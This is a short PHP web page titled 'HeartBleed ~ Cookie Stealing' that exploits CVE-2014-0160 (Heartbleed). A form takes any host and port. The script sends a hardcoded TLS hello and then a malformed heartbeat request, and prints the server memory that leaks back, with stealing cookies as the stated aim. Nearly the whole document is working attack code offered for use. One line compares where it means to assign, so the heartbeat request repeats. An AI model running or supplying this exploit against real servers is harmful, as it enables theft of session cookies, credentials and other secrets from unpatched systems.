HeartBleed PHP

<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="content-type" content="text/html" />
<title>HeartBleed ~ Cookie Stealing</title>
<style type="text/css">
<!--
h1,p{margin: 3px;padding: 3px;}
form,pre{width: 75%;border: 1px solid #ddd; margin: auto;padding: 3px;}
input[type='text']{width: 90%; margin: 13px;padding: 3px;}
input[type='submit']{padding: 10px; margin: 13px;}
-->
</style>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
<h1>HeartBleed ~ CVE-2014-0160</h1>
<p></p>
<input type="text" name="host" placeholder="example.com" />
<input type="text" name="port" value="443" placeholder="443"/>
<input type="submit" name="submit" />
</form>
<br />

<pre>
<?php

if(isset($_POST['submit'])) {

$hello = "16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01";

$hb = "18 03 02 00 03 01 40 00";

function hexbin($string) {
$strz = explode(" ",str_replace("
"," ",$string));
$bin = '';
foreach($strz as $str) {
$bin .= chr(hexdec($str));
}
return $bin;
}

$fp = fsockopen($_POST['host'],$_POST['port'],$errno,$errstr,30);
if(!$fp) {
echo $errstr;
} else {
echo "Connecting...
";

echo "Hello SSL
";
fwrite($fp,hexbin($hello));

$is_hello = true;
$is_hb = false;
while(!feof($fp)) {
if($is_hello == true) {
$buffer = fgets($fp,4096);
$is_hello = false;
} else {
$buffer = fgets($fp,1024);
if($is_hb == false) {
echo "Sending heartbeat request...
";
fwrite($fp,hexbin($hb));
$is_hb == true;
}
}
echo $buffer;
}
fclose($fp);
}
}

?>
</pre>
</body>
</html>